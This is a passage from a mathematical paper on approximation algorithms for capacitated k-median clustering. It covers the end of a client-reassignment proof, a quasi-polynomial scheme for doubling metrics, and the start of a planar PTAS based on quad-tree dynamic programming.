the client $c_1$ of $f(\ell)$ to $f(\ell_1)$ whose edge is in the sequence, plus the cost of assigning the client $c_2$ of
$f(\ell_1)$ to $f(\ell_2)$ whose edge is in the sequence, and more generally the cost of assigning
the client of $f(\ell_i)$ whose edge is in the sequence to $f(\ell_{i+1})$, for all $i < s$.
Indeed, the total cost of such a reassignment is given by
$(\text{dist}(f,\ell)+\text{dist}(\ell,f(\ell))^p + \sum_i (\text{dist}(f(\ell_{i-1}),\ell_i) + \text{dist}(\ell_i,f(\ell_i)))^p = \text{length}(\mathcal{P}(e))$
and so bounded by $2^{O(p)}(\text{cost}(\text{OPT}) + \text{cost}(L))$.
In the case of $p>1$, we let $\mu^p$ be the reassignment defined above. It is easy to see that
if $\mu$ meets the capacities then $\mu^p$ also meets the capacities.
We now turn to show that the capacities are met for assignment $\mu$.
\begin{lemma}
\label{lem:intersol}
Consider the solution defined by the set of centers of $\text{OPT}$ together with the assignment $\mu$.
This solution satisfies the following properties:
\begin{enumerate}
\item\label{lem:intersol:cond1} Each facility $f$ of $\text{OPT}$ whose corresponding vertex is unmatched, \textit{i.e., } $f \not\in \mathcal{M}_A$,
is assigned at most $\lfloor \eta/2 \rfloor$ clients. In other words, $|\{c \mid \mu(c) = f\}| \le \lfloor \eta/2 \rfloor$.
\item\label{lem:intersol:cond2} Each facility $f$ of $\text{OPT}$ whose corresponding vertex is matched, \textit{i.e., } $f \in \mathcal{M}_A$,
is assigned at most $\eta$ clients. In other words, $|\{c \mid \mu(c) = f\}| \le \eta$.
\item\label{lem:intersol:cond3} For each client $c \in \mathcal{C}-\mathcal{C}_1$, its cost is identical to its cost in $\text{OPT}$.
Moreover, $\sum_{c \in \mathcal{C}_1} \text{dist}(c,\mu(c)) \le 2^{O(p)}(\text{cost}(\text{OPT}) + \text{cost}(L))$.
\end{enumerate}
\end{lemma}
\begin{proof}
We first prove Property~\ref{lem:intersol:cond1}. From Lemma~\ref{cl:onlysaturated},
the only clients that
are assigned to an unmatched facility in $\mu$ are the one for which sequence $S(e)$ of the corresponding edge $e$
is a route-to-unmatched plus possibly one deleted client. It follows that the total number of clients assigned
is $\eta'/2 = \lfloor \eta/2 \rfloor$.
To prove Property~\ref{lem:intersol:cond2}, we start with the following observation. Consider a pair of matched vertices,
$\ell,f(\ell)$. The total number of new elements that can be assigned to $f(\ell)$ in mapping $\mu$ is, by definition of $p$,
the number of edges
that are incoming to $\ell$ and not originating from $f(\ell)$ minus the number of edges outgoing from $f(\ell)$ and
not going to $\ell$, or in other words $\max(\bar{t}(\ell)- \bar{s}(f(\ell)), 0) + \max(t(\ell) - s(f(\ell)),0)$.
Let $m_{\ell}$ and $\bar{m}_{\ell}$ respectively denote the number of non-$\mathcal{F}$-saturated and $\mathcal{F}$-saturated
edges between $\ell$ and $f(\ell)$
It follows that the total number of non-deleted clients served by $f(\ell)$ in assignment $\mu$ is at most
$$\nu = \bar{s}(f(\ell)) + s(f(\ell)) + m_{\ell} + \bar{m}_{\ell} + \max(\bar{t}(\ell)- \bar{s}(f(\ell)), 0) + \max(t(\ell) - s(f(\ell)),0).$$
We aim at showing that $\nu$ is at most $\eta'$.
We have the following equations:
\begin{itemize}
\item $ \bar{s}(f(\ell)) + s(f(\ell)) + m_{\ell} + \bar{m}_{\ell} \le \eta'$, since the degree of $f(\ell)$ in $\Phi$
(after preprocessing) is at most $\eta'$;
\item $ \bar{t}(\ell) + t(\ell) + m_{\ell} + \bar{m}_{\ell} \le \eta'$, since the degree of $\ell$ in $\Phi$
(after preprocessing) is at most $\eta'$;
\item $2\lfloor \frac{\bar{t}(\ell) + t(\ell) + m_{\ell} + \bar{m}_{\ell}}{2} \rfloor \le 2 \bar{t}(\ell) + 2 \bar{m}_{\ell} \le
\eta'$
since the flow $\mathcal{F}$ going through $\ell$ is at least $\lfloor \frac{\bar{t}(\ell) + t(\ell) + m_{\ell} + \bar{m}_{\ell}}{2} \rfloor$
by the definition of the demand at $\ell$ and at most $\eta'$ since the outgoing capacity from $\ell$
is $\eta'$. Moreover, each edge of $\bar{t}(\ell)$ and $\bar{m}_{\ell}$ carries 2 units of flow.
\item $2\lfloor \frac{\bar{s}(f(\ell)) + s(f(\ell)) + m_{\ell} + \bar{m}_{\ell}}{2} \rfloor \le 2 \bar{s}(f(\ell)) + 2 \bar{m}_{\ell} \le
\eta'$,
for the same reason than the above case.
\end{itemize}
In the case where either both $\bar{t}(\ell) \ge \bar{s}(f(\ell))$ and $t(\ell) \ge s(f(\ell))$ or both
$\bar{t}(\ell) \le \bar{s}(f(\ell))$ and $t(\ell) \le s(f(\ell))$, then we have that $\nu$ is at
most $\eta'$ by combining directly with the first two equations of the above list.
We thus turn to the case where $\bar{t}(\ell) \ge \bar{s}(f(\ell))$ and $t(\ell) \le s(f(\ell))$.
First, if $\bar{t}(\ell) = \bar{s}(f(\ell))$, then both max are 0 and so
$\nu \le \bar{s}(f(\ell)) + s(f(\ell)) + m_{\ell} + \bar{m}_{\ell} \le \eta'$ by the first of the above equations.
So we assume $\bar{t}(\ell) > \bar{s}(f(\ell))$ and $t(\ell) \le s(f(\ell))$.
Thus, we have $\nu \le s(f(\ell)) + m_{\ell} + \bar{m}_\ell + \bar{t}(\ell)$.
From the fourth of the above equations we have that
$\bar{s}(f(\ell)) + s(f(\ell)) + m_{\ell} + \bar{m}_{\ell} -1 \le 2\bar{s}(f(\ell)) + 2 \bar{m}_{\ell}$
and so
$s(f(\ell)) + m_{\ell} + \bar{m}_{\ell} -1 \le \bar{s}(f(\ell)) + 2 \bar{m}_{\ell}.$
We then combine with the upper bound on $\nu$ to obtain that
$$\nu \le s(f(\ell)) + m_{\ell} + \bar{m}_{\ell} + \bar{t}(\ell) \le \bar{s}(f(\ell)) + \bar{t}(\ell) + 2 \bar{m}_{\ell} +1.$$
Therefore, since $\bar{s}(f(\ell)) < \bar{t}(\ell)$, we conclude that
$\nu \le 2\bar{t}(\ell) + 2 \bar{m}_{\ell} \le \eta'$, using the third equation. The case where
$\bar{t}(\ell) \le \bar{s}(f(\ell))$ and $t(\ell) \ge s(f(\ell))$ is symmetric.
We now need to incorporate possibly one deleted client of $f(\ell)$. Namely a client served by $f(\ell)$ in $\text{OPT}$
whose edge has been deleted during the preprocessing step and so that is still assigned to $f(\ell)$ (recall that at most
1 client served by a facility is deleted during the preprocessing step).
Observe that there is a deleted client only if $\eta$ is not a multiple of 2. In which case we have that
$\eta' = \eta -1$ and so, the total number of clients assigned to $f(\ell)$ is $\eta' + 1 \le \eta$
as claimed.
We finally turn to Property~\ref{lem:intersol:cond3}. Since the assignment for client $c \in \mathcal{C}-\mathcal{C}_1$ is the same
than in the optimal solution, the first sentence is clear. For the second part, we bound the distance
from each client $c \in \mathcal{C}_1$ to $\mu_c$ by the length of the path induced by the sequence $S(e)$, where $e$ is
the edge associated to $c$. By the triangle inequality this indeed provides an upper bound on $\text{dist}(c,\mu(c))$.
We note here that this is a correct bound if the cost of a solution is the sum of distances (\textit{i.e., } for the $k$-median
objective). In the case of the
$\text{cost}(c,\mu(c)) = \text{dist}(c,\mu(c))^p$, with $p>1$, so we use the previous remark.
Finally, to bound the sum of the length of the edges in all the paths associated to the route-to-matched sequences
we simply invoke Lemma~\ref{lem:path}.
It follows, the total cost of the assignment $\mu$ for the vertices of $\mathcal{C}_1$ is at most $4 (\text{cost}(\text{OPT})+ \text{cost}(L))$,
or using the above remark, at most $2^{O(p)} (\text{cost}(\text{OPT})+ \text{cost}(L))$ for the case $p>1$.
\end{proof}
We can now prove the main proposition.
\begin{proof}[Proof of Proposition~\ref{prop:main}]
For each unmatched facility $f \in \text{OPT}$, we let $\xi(f)$ denote the unmatched facility of $L$ that is the closest to
$\xi(f)$.
We then divide the unmatched facilities of $\text{OPT}$ into two groups, $U_1,U_2$ as follows.
Let $U_1 = \{ f \mid f \in \text{OPT} \text{ and there is no facility $f' \neq f$ s.t. $\xi(f') = \xi(f)$}\}$.
Let $U_2$ be the rest of the unmatched facilities of $\text{OPT}$.
We let $\tilde{F} = U_1 \cup \mathcal{M}_A$ and let $\tilde{L} = \{\ell \mid \exists f \in U_1,~s.t.~ \xi(f) = \ell \} \cup \mathcal{M}_B$,
and $\phi$ be the 1-to-1 mapping
of the facilities of $\tilde{F}$ to $\tilde{L}$ defined by the matching $\mathcal{M}$ and the function $\xi$ on $U_1$.
We define $\hat{F} = F - \tilde{F} = U_2$ and $\hat{L} = L - \tilde{L}$. By the pigeonhole principle we immediately have
that $|\hat{F}| = |\hat{L}|$ and $|\tilde{F}| = |\tilde{L}|$.
To finish the proof of the proposition, we need to prove Properties~\ref{mainprop1} and~\ref{mainprop2}.
We first aim at proving Property~\ref{mainprop1}. Consider the mapping $\xi$ of the facilities
of $\hat{F}$. We let $\chi(\ell) = \{f \mid \xi(f) = \ell\}$.
We now proceed as follows: for each facility $\ell$ such that $|\chi(\ell)| > 1$, we pair up the facilities
of $\text{OPT}$ such that $\xi(f) = \ell$. Let $(f_1,g_1),(f_2,g_2),\ldots$ be the list of $\lfloor |\chi(\ell)|/2 \rfloor$
pairs. For each pair, we will consider closing one facility.
We need to guarantee two things: first that the
capacities are met and second that the total service cost is bounded.
To ensure that the capacities are met, we make use of Lemma~\ref{lem:intersol}.
For each pair $(f_i,g_i)$, we follow the assignment $\mu$ for the set of clients
that they serve in $\text{OPT}$. Without loss of generality, assume that
$f_i$ is farther away to $\ell = \xi(f_i) = \xi(g_i)$ than $g_i$.
This guarantees that both facilities serve at most
$\lfloor \eta/2 \rfloor$ clients.
We consider the cost of
closing down $f_i$ and serving its clients by $g_i$.
Moreover, $\mu$ reassigns clients
served by the unmatched facilities to matched facilities
and Lemma~\ref{lem:intersol} shows that the total number of clients assigned
to a matched facilities is at most $\eta$. It follows that the total
number of clients assigned to $f_i$ and $g_i$ is at most $\eta$ and so removing
one of the two facilities still yield a feasible solution.
We now turn to bounding the cost of closing one facility per pair $(f_i,g_i)$.
Consider first for simplicity the case $p=1$. The reassignment we have designed is as follows:
\begin{enumerate}
\item For the clients $c$ whose
corresponding edge $e$ is s.t. $S(e)$ is a route-to-matched sequence
and such that the facility serving $c$ belongs to a pair $(f_i,g_i)$,
the assignment is the same as in $\mu$.
\item For the clients $c$ whose
corresponding edge $e$ is s.t. $S(e)$ is a route-to-unmatched sequence,
and s.t. $c$ is served by a facility $f_i$ in a pair $(f_i,g_i)$,
the assignment is now $g_i$. Let
$\ell$ be the facility such that $\xi(f_i) = \ell$ and $\xi(g_i) = \ell$.
The cost of the assignment is $\text{dist}(c,g_i) \le \text{dist}(c, \ell) + \text{dist}(\ell, g_i)
\le \text{dist}(c, \ell) + \text{dist}(\ell, f_i) = 2\text{dist}(c, \ell) + \text{OPT}(c)$,
by the triangle inequality and since $\text{dist}(\ell, f_i) \ge \text{dist}(\ell, g_i)$.
We redefine $\mu(c) = g_i$.
\item For the remaining clients, the assignment is the same than in $\text{OPT}$.
\end{enumerate}
Consider the clients $c$ whose
corresponding edge $e$ is s.t. $S(e)$ is a route-to-matched sequence
and such that the facility serving $c$ belongs to a pair $(f_i,g_i)$.
Lemma~\ref{lem:intersol} shows that the sum over all pairs $(f_i,p_i)$ of the cost of
the reassignment of their clients whose
corresponding edge $e$ is s.t. $S(e)$ is a route-to-matched sequence is bounded by
$O(\text{cost}(\text{OPT}) + \text{cost}(L))$.
For the clients $c$ whose
corresponding edge $e$ is s.t. $S(e)$ is a route-to-unmatched sequence,
and s.t. $c$ is served by a facility $f_i$ in a pair $(f_i,g_i)$.
Let $\ell$ be the facility such that $\xi(f_i) = \ell$ and $\xi(g_i) = \ell$.
We have that the cost is $\text{dist}(c,\mu(c)) \le 2\text{dist}(c, \ell) + \text{OPT}(c)$. Now observe that
$\text{dist}(c,\ell) \le \text{length}(\mathcal{P}(e))$ since $\ell$ is the closest
unmatched facility to $f_i$.
Thus applying Lemma~\ref{lem:path}, the sum over all the facilities
$f_i$ that are closed of the reassignment cost of their clients $c$
whose
corresponding edge $e$ is s.t. $S(e)$ is a route-to-unmatched sequence
is at most $O(\text{cost}(L) + \text{cost}(\text{OPT}))$.
For the remaining clients, their cost is the same than in $\text{OPT}$.
We thus have that:
$$\sum_{(f_i,g_i)}~~~~~~ \sum_{c \text{ served by $f_i$ or $g_i$}} \text{dist}(c,\mu(c)) = O(\text{cost}(\text{OPT}) + \text{cost}(L))$$
Moreover, $\mu(c)$ does not assign more than $\eta$ clients to any facility.
Now consider selecting each pair $(f_i,g_i)$ with probability $\varepsilon$ and
closing down $f_i$.
For each selected pair, we follow the assignment prescribed above and
for the remaining pairs, we follow the optimal assignment.
The assignment is feasible no matter what are the selected pairs since we only consider reassigning clients
served by the selected pairs in $\text{OPT}$ to matched facilities or
to one of the facility of the pair. By Lemma~\ref{lem:intersol}, we know that we can reassign all clients
of the pairs and still get a feasible solution, therefore the solution obtained is definitely
feasible.
By the above discussion, the expected cost of the assignment
for the clients that are served by a facility of a pair $(f_i,g_i)$,
is at most
\begin{align*}
\sum_{(f_i,g_i)}~ (\text{pr}[(f_i,g_i)\text{ is selected}] \cdot
&\sum_{c \text{ served by $f_i$ or $g_i$}} \text{dist}(c,\mu(c))) \\
+ &\sum_{(f_i,g_i)}~(1-\text{pr}[(f_i,g_i)\text{ is selected}])
\sum_{c \text{ served by $f_i$ or $g_i$}} \text{OPT}(c)
\end{align*}
which is at most
$$\sum_{(f_i,g_i)}\sum_{c \text{ served by $f_i$ or $g_i$}}\text{OPT}(c) +
O(\varepsilon (\text{cost}(\text{OPT}) + \text{cost}(L))).$$
Therefore, since for the rest of the clients, the cost is optimal,
there exists a solution $\mathcal{G}^{*}$ of cost at most
$\text{cost}(\text{OPT}) + O(\varepsilon (\text{cost}(\text{OPT}) + \text{cost}(L))).$
We finally prove Property~\ref{mainprop2} of the proposition.
Consider a facility $f \in \tilde{F}$ and a facility $\ell \in \tilde{L}$ such that
$\phi(f) = \ell$.
Let $c(f)$ be the cost of replacing $f$ by $\ell$ in solution $\mathcal{G}^{*}$
and serving the set $N(\ell)$ of all the clients served by $\ell$ in $L$ by $\ell$ in the solution
$\mathcal{G}^{*}$.
Our bound of $c(f)$ is in 2 steps. We first bound the cost of serving by $\ell$ all the clients assigned
to $f$ in assignment $\mu$. This is an intermediate solution that does not satisfy that the clients
served by $\ell$ in $L$ are also served by $\ell$ in solution $\mathcal{G}^{*}$. We will then modify
the intermediate solution to ensure this last property.
Consider first the case where $f$
is an unmatched facility. We will reassign the clients of $f$ in two ways. First, for the clients
$c$ whose corresponding edge $e$ is s.t. $S(e)$ is a route-to-matched sequence. In that case,
we use $\mu(c)$ as a reassignment and so these clients are served by a different facility than $f$.
Again, this is compatible with the previous reassignment since
the mapping $\mu$ that reassigns all clients of unmatched facility ensures that no matched
facility receives more than $\eta$ clients by Lemma~\ref{lem:intersol}.
Second, for the set $N(f)$ of clients whose corresponding edge $e$ is s.t. $S(e)$ is a route-to-unmatched sequence,
we temporarily assign them to $\ell$ and we can bound the cost for such clients by length($\mathcal{P}(e)$),
since $\ell$ is the closest unmatched facility.
Now consider the case where $f$ is a matched facility. We proceed identically but we cannot use the bound
on the length of the path since this bound only applies to unmatched facilities. In that case, we use the
bound given by the matching. We have that the cost paid by each client $c$ of $f$ is $\text{dist}(c,f) + \text{dist}(f,\phi(f))$.
By the triangle inequality, $\text{dist}(f,\phi(f))$ is at most the weight of the edge in the matching.
Serving all the clients assigned to $f$ in mapping $\mu$ incurs an additional cost (in addition to what they
are paying due in mapping $\mu$)
$\eta \left( \sum_{\ell \in \mathcal{M}_B} \text{dist}(\ell,f(\ell))\right)$
which is by Corollary~\ref{cor:matchingcost} at most
$\eta \left( 2(\text{cost}(\text{OPT}) + \text{cost}(L))/\eta\right)$.
Therefore, the reassignment performed for the intermediate solution has cost at most $O(\text{cost}(L) + \text{cost}(\text{OPT}))$.
Note that this indeed takes into accound the reassignment of the client $c$ whose corresponding edge
$e$ is s.t. $S(e)$ is a route-to-matched sequence.
We now move from the intermediate solution to a solution where for each selected pair $(\ell,f)$, the clients
served by $\ell$ in $L$ are also served by $\ell$ in $\text{OPT}$.
Let's assign the clients of $N(\ell)$ by $\ell$.
By doing so, we may have exceeded the capacity of $\ell$: we have $|N(f)|, |N(\ell)| \le \eta$ but
$|N(f)| + |N(\ell)| > \eta$. To fix this, we use the room left out on the other facilities
by the $|N(\ell)|$ clients served by $\ell$ in solution $L$. Indeed, since these clients are now served by
$\ell$, they leave some free room to the other clients.
Thus, consider an arbitrary set $B$ of $|N(\ell)| + |N(f)|- \eta$
clients of $|N(f)|$ (note that $|N(f)| \ge |N(\ell)| + |N(f)| - \eta$) and define a 1-to-1 mapping from this set to
an arbitrary subset $B'$ of size
$|N(\ell)| + |N(f)|- \eta$ of $N(\ell)$ (again note that $|N(\ell)| \ge |N(\ell)| + |N(f)| - \eta$ so this is possible).
Now, each client of $B$ is assigned to the facility that serves the client it is mapped to in $B'$ in the solution
$\mathcal{G}^{*}$. Since $\mathcal{G}^{*}$ is feasible, this solution is also feasible.
By the triangle inequality, the increase in cost for doing so is at most $L(c) + \text{OPT}(c)$ where $c$ is the client
in $B'$ and so, in total for the clients in $N(f)$ at most $\sum_{c \in N(\ell)} L(c) + \text{OPT}(c)$.
Summing up over all such facilities and using Lemma~\ref{lem:path}, we have that
$\sum_{f \in \tilde{F}} c(f) = O(\text{cost}(L) + \text{cost}(\text{OPT}))$. Thus, if each facility $f$ is replaced by $\phi(\ell)$ with probability $\pi^2$,
we have that the expected cost of the solution is $\sum_{f \in \tilde{F}} pr[f \text{ selected by the random process}] \cdot c(f) =
\sum_{f \in \tilde{F}} \pi^2 c(f) = O(\pi^2 \text{cost}(L) + \text{cost}(\text{OPT}))$.
By Markov inequality, we have that the resulting solution has cost at most
$(1+O(\pi))\text{cost}(\text{OPT}) + O(\pi (\text{cost}(L) + \text{cost}(\text{OPT})))$ as claimed.
This concludes the proof of the proposition.
To handle the case $p>1$, one needs to proceed as prescribed in the previous remark.
\end{proof}
\section{A Simple QPTAS for Doubling Metrics
-- Proof of Theorem~\ref{thm:qptas}}
\label{sec:qptas}
In this section, we give a simple approach for obtaining
an algorithm running in time $\exp(((d p \varepsilon^{-1})^p \log n)^{O(d)})$,
which is a quasi-polynomial bound for any fixed $d$.
The approach is very simple.
Let $\varepsilon > 0$ be a sufficiently small constant.
Assume we know how to compute
a $\gamma$-approximate solution
$L$. We show how to compute a solution of cost at most
$(1+\varepsilon)\text{cost}(\text{OPT}) + \varepsilon \cdot \text{cost}(L)$.
As a start, the algorithm computes a randomized split-tree $\mathcal{D}$.
Let's condition on
the event that $\mathcal{I}_{\mathcal{D}}$ is a good instance (w.r.t. $L$).
This happens with
probability at least $1-\varepsilon$ by Lemma~\ref{lem:valid}.
The algorithm then computes $\mathcal{I}_{\mathcal{D}}$ and works in $\mathcal{I}_{\mathcal{D}}$,
its goal being to find the best valid solution in $\mathcal{I}_{\mathcal{D}}$.
We design a dynamic program that given $\mathcal{I}_{\mathcal{D}}$ and $L$
computes the best valid solution. We then preprocess this new instance
as follows. For each facility of $\ell$ that is badly cut, we immediately
assign all its client to it; more concretely, we remove all the clients
served by $\ell$ in $L$ from $\mathcal{I}_{\mathcal{D}}$, we force $\ell$ to be
open and we decrease its capacity by the total number of clients
that $\ell$ serves in $L$. Since the dynamic program aims at finding
the best valid solution, we have that the best solution
in the preprocessed instance $\mathcal{I}'_{\mathcal{D}}$ can be transformed into
a valid solution in the $\mathcal{I}_{\mathcal{D}}$ with the same cost.
The dynamic program proceeds on $\mathcal{D}$ from the leaves to the
top the root. For each box $P$ of level $i$, compute a
$\rho 2^{i+1}$-net and use this net as a set of \emph{portals}.
It follows that the number of portals is
$\rho^{-O(d)}$.
The goal of the dynamic program is to compute, for each box $P$,
the best valid solution
given the following set of \emph{parameters}:
\begin{enumerate}
\item For each portal $p$ of $P$, a number $n_p \in [n]$ of
clients at $p$;
\item A number $k_P$ of centers open inside $P$, including the badly cut
centers of $L$ inside $P$;
\item The minimum cost of serving all clients inside $P$ using any set of
$k_P$ centers in $P$ plus the portals, where each portal has capacity
$n_p$.
\end{enumerate}
Eventually, we consider the solutions at the root $R$, with the
following set of parameters,
each portal $p$ of $R$ is such that $n_p = 0$, and $k_R = k$. Among all
these solutions, the algorithm output the one with minimum cost.
We show that our dynamic program outputs a solution of cost
at most $(1+\varepsilon) \text{cost}_{\mathcal{I}_{\mathcal{D}}} \text{cost}(\widehat{\mathcal{G}})$, where
$\widehat{\mathcal{G}}$ is as defined per Lemma~\ref{lem:valid}.
Indeed, observe first that in the preprocessed instance there is no more
badly cut client: if a client is badly cut then it is moved to the
facility $L(c)$ that serves it in $L$. Then, if $L(c)$ is badly cut as
well, then $L(c)$ is forced to be open, $c$ is immediately assigned
to $L$ in the preprocessing phase and so, $c$ is not in instance
$\mathcal{I}'_{\mathcal{D}}$. Thus, all the remaining clients are not badly cut.
Thus, consider a client $c$ in $\mathcal{I}'_{\mathcal{D}}$ together with
the facility $\widehat{\mathcal{G}}(c)$ that serves it in solution $\widehat{\mathcal{G}}$.
We have that $c$ and $\widehat{\mathcal{G}}(c)$ are separated at a level $u(c)
\le \log (d \frac{\log n}{(\eps/(p+1))^{5p}}) + \log \text{dist}(c,\widehat{\mathcal{G}}(c))+1$,
by the definition
of badly cut.
Thus, consider the solution where, in each level where
$c$ and $\widehat{\mathcal{G}}(c)$ are
in different boxes, the path makes a detour to the closest portal
in the box containing $c$. This incurs a detour of
$\rho 2^{i+1}$ for each such box of level $i$.
We have that the total detour for the path is at most
$$\sum_{i=0}^{u(c)} \rho 2^{i+1}
\le \sum_{i=0}^{u(c)} \rho 2^{u(c)+1 -i} = \sum_{i=0}^{u(c)} \rho
\frac{2^{u(c)+1}}{2^i} \le \rho 2^{u(c)+2} \le 16 \rho
(d \frac{\log n}{(\eps/(p+1))^{5p}}) \cdot \text{dist}(c,\widehat{\mathcal{G}}(c))$$
Setting $\rho = \varepsilon (16d \frac{\log n}{(\eps/(p+1))^{5p}})^{-1}$ shows
that the overall detour is at most $\varepsilon \text{dist}(c,\widehat{\mathcal{G}}(c))$.
An immediate induction shows that our dynamic program computes
a valid solution $S'$ such that
$\text{cost}_{\mathcal{I}_{\mathcal{D}}}(S') \le
(1+O(\varepsilon))\text{cost}_{\mathcal{I}_{\mathcal{D}}}(\widehat{\mathcal{G}})$. Combined
with Lemma~\ref{lem:valid} and up to rescaling $\varepsilon$, we have
that $\text{cost}(S') \le (1+\varepsilon)\text{cost}(\text{OPT}) + \varepsilon\text{cost}(L)$.
The running time of the algorithm is at most
$n^{\rho^{-O(d)}}$ and so as claimed.
To conclude, we need to show that one can find a solution $L$
of cost $O(\text{cost}(\text{OPT}))$. Unfortunately, nothing better than
an $O(\log n)$-approximation is known. We thus repeat the above
algorithm until we find a solution of cost at most $(1+\varepsilon)\text{cost}(\text{OPT})$.
Namely, we start with $L$ being an $O(\log n)$-approximation.
We then apply the algorithm to obtain a solution $L_1$ of cost
at most $(1+\varepsilon)\text{cost}(\text{OPT}) + \varepsilon\text{cost}(L)$ with probability
at least $1-\varepsilon/\log n$; boosting the probability is always possible
by repeating the random step (i.e.: computing a new
randomized split-tree
decomposition).
We then apply the algorithm again to $L_1$ and find a solution $L_2$
of cost at most $(1+\varepsilon)\text{cost}(\text{OPT}) + \varepsilon\text{cost}(L_1)$ with probability
at least $1-\varepsilon/\log n$. Repeating this process $\log \log n$ times
yields a solution $L_{\log \log n}$
of cost at most $(1+\varepsilon)\text{cost}(\text{OPT})$ with
probability at least $1-\varepsilon$.
\section{A PTAS for Capacitated $k$-Median in $\R^2$ -- Proof of Theorem~\ref{thm:ptas}}
\label{sec:ptas}
For $k$-median inputs in $\R^2$, we can improve the running time of
the algorithm described in Section~\ref{sec:qptas} in two ways:
\begin{enumerate}
\item\label{step:dp1} we can ensure that the size of the net in each box is $\rho^{-1} =f(\varepsilon) \log n$
for some computable function $f$.
\item\label{step:dp2} we show how to make small size summaries in our dynamic program
to obtain a running time of $2^{\rho^{-1}} \text{poly}(n)$.
\end{enumerate}
In the case of the plane, we apply the randomized quad-tree dissection of Arora.
This also satisfies the properties 1-4 described in Section~\ref{sec:badly}.
Any box of the dissection of level $i$ is a $2^{i+1} \times 2^{i+1}$ square.
We condition on the event that the instance $\mathcal{I}_{\mathcal{D}}$ is good
which by Lemma~\ref{lem:valid} happens with probability at least
$1-\varepsilon$.
Reducing the size of the net simply follows the standard analysis of Arora et al.~\cite{ARR98}.
We only place portals on the boundaries of boxes and consider solutions that are such that
each path connecting a client $c$ to the facility $f$ that serves it in $\text{OPT}$ is forced
to make a detour for each boundary of a box $B$ it crosses. The length of each such
detour is then $\rho \partial B$, where $\partial B$ denotes the perimeter of box $B$.
If we let $B(c)$ denotes the set of box that contains $c$ and that do not contain the facility $f$
that serves $c$ in $\text{OPT}$, we can write that the total detour for using portals
is at most $\sum_{B \in B(c)} \rho 2^{\ell(B(c))+3}$, where $\ell(B(c))$ is the level of box $B(c)$.
Therefore, the overall detour is at most $16 \varepsilon \text{dist}(c,f)$ since we condition on the event that
$\mathcal{I}_{\mathcal{D}}$ is a good instance.
We now show how to design a dynamic program that finds a solution that has cost at $(1+\varepsilon)$
times the cost of the best \emph{portal-respecting} solution with running time at most $2^{\rho^{-1}} \text{poly}(n)$.
Namely to the best solution where each assignment path is made to make a detour to the closest
portal of the box $B$ any time it crosses the boundary of $B$.
The naive implementation would be to define a DP cell as follows:
\begin{enumerate}
\item for each box $B$;
\item for each portal $p$ of box $B$, two numbers $n^{\text{in}}_p,n^{\text{out}}_p$ that
represents respectively the number of clients
coming from the inside of $B$ and that are assigned to a center outside $B$ and
the number of clients that are outside $B$ and that are assigned to a center inside $B$.
\item a number $k_B$ of centers.
\end{enumerate}
The value of a DP cell is the best portal-respecting solution that places $k_B$
centers inside $B$, while assigning $n^{\text{in}}_p$ clients of $B$ to each portal
and serving $n^{\text{out}}_p$ clients from each portal $p$.
The running time of this algorithm is $n^{O(\rho^{-1})}$.
We now show how to speed up this. We first observe that our above analysis of the detours
shows that each client $c$ going through a portal of a box $B$ of level $i$ could pay an additional
$\alpha \rho 2^i$, where $\alpha$ is a large enough constant.
Let this be the \emph{budget} of $c$ for level $i$.
Namely, any solution such that each client pays this additional cost remains
a $(1+O(\varepsilon))$-approximation to the best near-optimal portal-respecting solution.
We use this remaining slack to fasten the algorithm.
The idea is to restrict the values that $n^{\text{in}_p}$ and $n^{\text{out}_p}$ can
take. We show the transformation for $n^{\text{in}_p}$, it works identically for
$n^{\text{out}_p}$.
We first claim that for two portals $p,p'$
that are consecutive on the boundary of a box $B$ of level $x$, there exists a near-optimal
portal-respecting solution such that $\varepsilon^2 n_{p'} \le n_p \le n_{p'}/\varepsilon^2$.
Indeed, consider the optimal portal-respecting solution and the number of clients
assigned to $n_p$ and $n_{p'}$ and assume that $\varepsilon^2 n_{p'} > n_p$. Then, consider
forcing $\varepsilon^2 n_{p'}$ clients that go to $n_{p'}$ to make an extra-detour to
$n_p$. The length of this detour is at most $\rho 2^{x+1}$. Hence, the extra-cost is
$n_{p'} \rho 2^{x+1}$. Now, observe that this is at most $\varepsilon^2$ times the budget
of all the clients going to $n_{p'}$. A similar argument holds in the case where
$n_p > n_{p'}/\varepsilon^2$. Thus, consider the boundary of $B$ and an arbitrary portal
$p_0$ of $B$. Let $p_0,p_1,\ldots$ be the portals in the order given by a clockwise
walk on the boundary of $B$ starting at $p_0$.
Visit the portals in that order and ensure
that $\varepsilon^2 p_{i} \le p_{i+1}$ for all $i$ using the above transformation iteratively.
What is the overall cost: observe that the clients $n(p_i)$
that are initially going through portal
$p_i$ may now be assigned to a portal $p_j$ where $j$ is much larger than $i$.
What is the total cost for this? We have that at each portal at most an $\varepsilon$ fraction
of the clients can be moved again. Thus, the total extra cost for the clients of $n(p_i)$ is
at most $n_{p_i} \varepsilon^{2(j-i)} (j-i) \rho 2^{x+1}$ This is a geometric sum and so at most
$O(n_{p_i} \varepsilon \rho 2^{x+1})$ which is less than the sum of the budgets at level $i$ of the clients
going at $n(p_i)$ for a large enough $\alpha$.
Then visit the portals in the reverse order and proceed identically to ensure
that $p_{i}/\varepsilon^2 \le p_{i+1}$.
Our second claim is that except for one portal denoted by $p^*$,
the numbers $n_p$ could be approximated to power of $(1+\varepsilon^5)$
in the following way.
We again consider the portals in clockwise order, starting from $p_0 = p^*$.
The initial number of clients $n^0_{p_i}$ assigned to portal $p_i$ is the one prescribed
after the above transformation.
For the $i$th portal $p_i$, $i>0$, let $n_{p_i}$ number of clients assigned to
$p_i$ when the procedure visits $p_i$. Let $\widetilde{n_{p_i}}$ be the power of $(1+\varepsilon^5)$
that is the closest to $n_{p_i}$ and smaller than $n_{p_i}$. We reassign $n_{p_i} - \widetilde{n_{p_i}} \le
\varepsilon^5 n_{p_i}$ clients of $n(p_i)$ to $p_{i+1}$.
By doing so iteratively, we end up with an assignment where, except for $p^*$
which may receive from $p_{\rho-1}$ and not give to any other portal,
$n_{p_i}$ is a power of $(1+\varepsilon^5)$.
We now bound the cost of the reassignment.
We first show that $n_{p_i} \le (1+\varepsilon^2) n^0_{p_i}$. This is true for $i\in\{1,2\}$ since
$n^0_{p_1} \le n^0_{p_2}/\varepsilon$ and the total number of clients moved from $p_1$ to $p_2$
is at most $\varepsilon^5 n^0_{p_1}$ and so $n_{p_2} \le (1+\varepsilon^3) n^0_{p_2}$.
We assume that this is true up to $p_{i-1}$ and show that it holds for $p_i$.
The number of clients received by $p_i$ is thus at most $\varepsilon^5 (1+\varepsilon^2) n^0_{p_{i-1}}$
by the inductive hypothesis. This is at most $\varepsilon^5 (1+\varepsilon^2) n^0_{p_{i}}/\varepsilon^2
